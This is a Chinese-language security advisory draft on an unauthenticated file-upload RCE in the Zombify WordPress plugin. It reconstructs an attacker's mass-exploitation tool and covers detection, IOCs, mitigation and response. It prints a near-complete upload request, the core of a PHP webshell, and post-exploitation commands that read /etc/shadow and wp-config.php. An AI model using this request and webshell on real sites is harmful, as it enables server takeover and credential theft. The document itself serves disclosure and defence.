Tabula Rasa
← 返回
分析·2026.10.15

CVE-2026-94503 RCE 剖析 [draft]

恭喜你发现我的🌿稿一篇呀 🎉~

新鲜出炉

影响插件:PX-lab Zombify(WordPress)≤ 1.7.7 漏洞类型:危险类型文件不受限上传(CWE-434)→ 未认证远程代码执行(unauthenticated RCE) 由于本漏洞暂未纰漏细节,本文基于对一个真实漏洞利用工具的完整逆向分析撰写。文中展示的请求仅为说明性内容。

一、漏洞概述

Zombify 是一款 WordPress 互动内容插件(测验、投票、视频故事等)。在 1.7.7 及更早版本中,插件向 WordPress 的 admin-ajax.php 注册了未授权即可调用的 AJAX 处理器,而其中负责文件上传的处理器在保存分块上传文件时,对文件名和文件类型完全不做校验。

攻击者只需向 admin-ajax.php 发送一个精心构造的 multipart 请求,即可把一个 PHP WebShell 写入 wp-content/uploads/ 目录——该目录下的 .php 文件通常可被 Web 服务器直接执行。文件上传漏洞本身归类为 CWE-434,但最终效果是未认证远程代码执行:任何能访问你站点的人,都能以 Web 服务用户的身份运行任意命令。

二、影响版本

  • 受影响:PX-lab Zombify ≤ 1.7.7
  • 不受影响:插件未安装(AJAX 返回 -1),或相关 wp_ajax_nopriv_* 回调未注册(返回 0,见下文判定细节)

三、原理分析:两个错误的叠加

3.1 错误一:wp_ajax_nopriv_ 让匿名用户可调用管理接口

WordPress 的 admin-ajax.php 是统一的 AJAX 端点。插件通过以下动作名注册处理器:

// 仅登录用户可调用
add_action( 'wp_ajax_zombify_video_upload', ... );
add_action( 'wp_ajax_zombify_poll_vote', ... );

// 匿名用户也可调用 —— 问题所在
add_action( 'wp_ajax_nopriv_zombify_video_upload', ... );
add_action( 'wp_ajax_nopriv_zombify_poll_vote', ... );

wp_ajax_nopriv_* 系列钩子的语义就是"未登录用户也可以触发"。把文件写入类接口挂在这个钩子上,等于把上传功能直接暴露给整个互联网,前面没有任何 current_user_can()、nonce 校验或权限闸门。

3.2 错误二:Resumable.js 分块上传的文件名信任

Zombify 的前端使用了 Resumable.js 做分块上传,后端处理时模仿了它的表单字段(利用工具走的是投票上传路径 action=zombify_poll_vote)。问题在于:

  • 保存分块时,服务端直接使用客户端提交的 resumableFilename 作为文件名,没有白名单校验扩展名和 MIME 类型;
  • 攻击者把块文件命名为 Nx.php,服务端便把 Nx.php.part1 分块内容以 Nx.php 落盘到 wp-content/uploads/ 目录。

两个错误叠加:一个未认证用户,可以控制写入 Web 根目录下可执行目录的完整文件名和文件内容。这就是 CWE-434 → RCE 的完整链条。

四、完整攻击链(逆向还原)

第 1 步:目标归一化

工具对目标列表统一补 http:// 前缀并去重,得到 903 个待检测 URL。

第 2 步:指纹识别

请求三个静态资源确认 Zombify 存在并提取版本号:

GET /wp-content/plugins/zombify/assets/css/zombify.min.css
GET /wp-content/plugins/zombify/main-style.css
GET /wp-content/plugins/zombify/readme.md

HTTP 200 且内容超过 50 字节时,用正则 [Vv]ersion[:\s]*(\d+\.\d+\.\d+) 从响应中提取版本。

第 3 步:上传 WebShell

向 admin-ajax.php 发送模仿 Resumable.js 分块上传的 multipart 请求(说明性示例):

POST /wp-admin/admin-ajax.php?action=zombify_video_upload&field_path=video&unid=<16位随机字母数字>
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="action"

zombify_poll_vote
------Boundary
Content-Disposition: form-data; name="resumableChunkNumber"

1
------Boundary
Content-Disposition: form-data; name="resumableChunkSize"

<shell字节数>
------Boundary
Content-Disposition: form-data; name="resumableTotalSize"

<shell字节数>
------Boundary
Content-Disposition: form-data; name="resumableTotalChunks"

1
------Boundary
Content-Disposition: form-data; name="resumableIdentifier"

<unid>
------Boundary
Content-Disposition: form-data; name="resumableFilename"

Nx.php
------Boundary
Content-Disposition: form-data; name="file"; filename="Nx.php.part1"
Content-Type: application/octet-stream

<?php /* WebShell 内容 */ ?>
------Boundary--

关键点:文件字段名为 file,块名 Nx.php.part1,但服务端最终落盘文件名为 Nx.php。

响应判定逻辑(工具内置):

响应含义
0nopriv 回调未注册,不受影响
-1插件未安装
JSON result == 1上传成功
错误消息含 format插件虽报格式错误,文件已落盘,仍视为成功
result == 0 且无错误消息上传成功

注意"报格式错误也算成功"这一条:插件的格式校验发生在文件已写入磁盘之后,校验失败只影响响应,不影响落盘结果。

第 4 步:定位并验证 Shell

上传后工具猜测路径 /wp-content/uploads/{YYYY/MM}/Nx.php(同时尝试当年和上一年各月),HTTP 200 且响应含签名 Nx-zD 即确认部署成功。

第 5 步:WebShell 能力

这个单文件 PHP WebShell 提供两个功能:

// 核心逻辑示意
if ( isset( $_GET['c'] ) ) {
    echo '<pre>' . shell_exec( $_GET['c'] ) . '</pre>';   // 命令执行
}
if ( isset( $_FILES['f'] ) ) {
    move_uploaded_file( $_FILES['f']['tmp_name'],
        __DIR__ . '/' . $_FILES['f']['name'] );            // 向同目录二次上传任意文件
}
  • GET ?c=<命令>:触发 shell_exec(),输出包裹在 <pre> 标签内返回;
  • POST 文件字段 f:触发 move_uploaded_file(),向 shell 同目录上传任意文件——常用于投放更隐蔽的持久化后门或工具。

第 6 步:自动化收割

工具对每个部署成功的 shell 自动执行 31 条 Linux 命令,包括:whoami、id、uname -a、df、ps aux、netstat、cat /etc/passwd、cat /etc/shadow、cat wp-config.php、crontab 等。输出用正则 <pre>(.*?)</pre> 提取,报告存为 reports/<host>_<时间戳>.txt。wp-config.php 的读取意味着数据库凭据、SMTP/第三方密钥直接泄露。

五、如何判断自己是否受影响

  1. 确认插件版本:WP 后台"插件"页,或访问 /wp-content/plugins/zombify/readme.md 查看版本号。≤ 1.7.7 即受影响。
  2. 快速探测(只读、无害):向 admin-ajax.php 提交 action=zombify_video_upload 的空请求——返回 0 说明 nopriv 回调未注册(不受影响),返回 -1 说明插件未安装。
  3. 检查文件系统:在 wp-content/uploads/ 及其年月子目录中搜索 Nx.php 或内容含 Nx-zD、shell_exec 的 PHP 文件。
  4. 检查访问日志:admin-ajax.php 上出现 zombify_video_upload / zombify_poll_vote 的异常 POST 请求,尤其是带 resumableFilename 字段的 multipart 请求。

六、修复建议

  1. 立即升级 Zombify 至 1.7.7 之后的最新版本。
  2. 若无法立即升级,临时缓解:
    • 用 WAF 规则拦截 admin-ajax.php 上含 action=zombify_ 且来自未认证会话的 POST 请求;
    • 在 Web 服务器层禁止执行 wp-content/uploads/ 目录下的 PHP(Nginx 示例:location ~* /wp-content/uploads/.*\.php$ { deny all; })——这一条即使漏洞被利用也能阻断 RCE。
  3. 升级后必须假定已被入侵并做完整排查(见下一节),因为修复本身不清除已落盘的 WebShell。

七、检测与应急响应(IOCs)

文件系统 IOC:

  • wp-content/uploads/(含 {YYYY/MM}/ 子目录)下的 Nx.php;
  • 文件内容含签名 Nx-zD、shell_exec( $_GET['c'] )、move_uploaded_file 组合的 PHP 文件;
  • Web 根目录出现 Nx_shellS.txt(工具本地产物,但注意攻击者机器上的 reports/ 目录不会出现在目标机上)。

网络/日志 IOC:

  • POST /wp-admin/admin-ajax.php 且查询串含 action=zombify_video_upload、field_path=video、unid=<16位随机字母数字>;
  • multipart 体中含 action=zombify_poll_vote、resumableFilename=Nx.php、块字段 Nx.php.part1;
  • 请求头 X-Requested-With: XMLHttpRequest;
  • 对 wp-content/uploads/*/Nx.php 的 GET 请求(部署验证阶段)及其后带 ?c= 参数的请求;
  • 工具签名串:BLACKNET-00C:VE-2026-94503。

应急响应步骤:

  1. 隔离主机,导出完整访问日志和文件系统快照后再处置。
  2. 删除所有 IOC 文件,并全盘搜索其他可疑 PHP(重点:uploads/、主题/插件可写目录、crontab 指向的脚本)。
  3. 轮换全部凭据:数据库密码、AUTH_KEY 等盐值、SMTP/第三方 API 密钥(wp-config.php 已可能被读取)。
  4. 检查 crontab、新增管理员账号、异常插件/主题,排查持久化。
  5. 重建 WordPress 核心文件(从官方源覆盖),保留 wp-content 前先完成人工审计。

八、结语

CVE-2026-94503 的技术含量并不高——两个低级错误的叠加:wp_ajax_nopriv_ 暴露上传接口 + 分块上传不校验文件名。但正是这种"不高级"的漏洞,被做成了带 GUI、并发、自动收割的批量工具,一次指向 903 个目标。

对开发者的教训:任何写入文件系统的 AJAX 处理器,都不应挂到 wp_ajax_nopriv_* 上;文件名必须服务端白名单生成,扩展名校验必须在落盘之前完成。

uploads/ 目录禁止执行 PHP 这一条配置,能在无数个"下一个 CVE"面前保住你的服务器。今天就可以检查。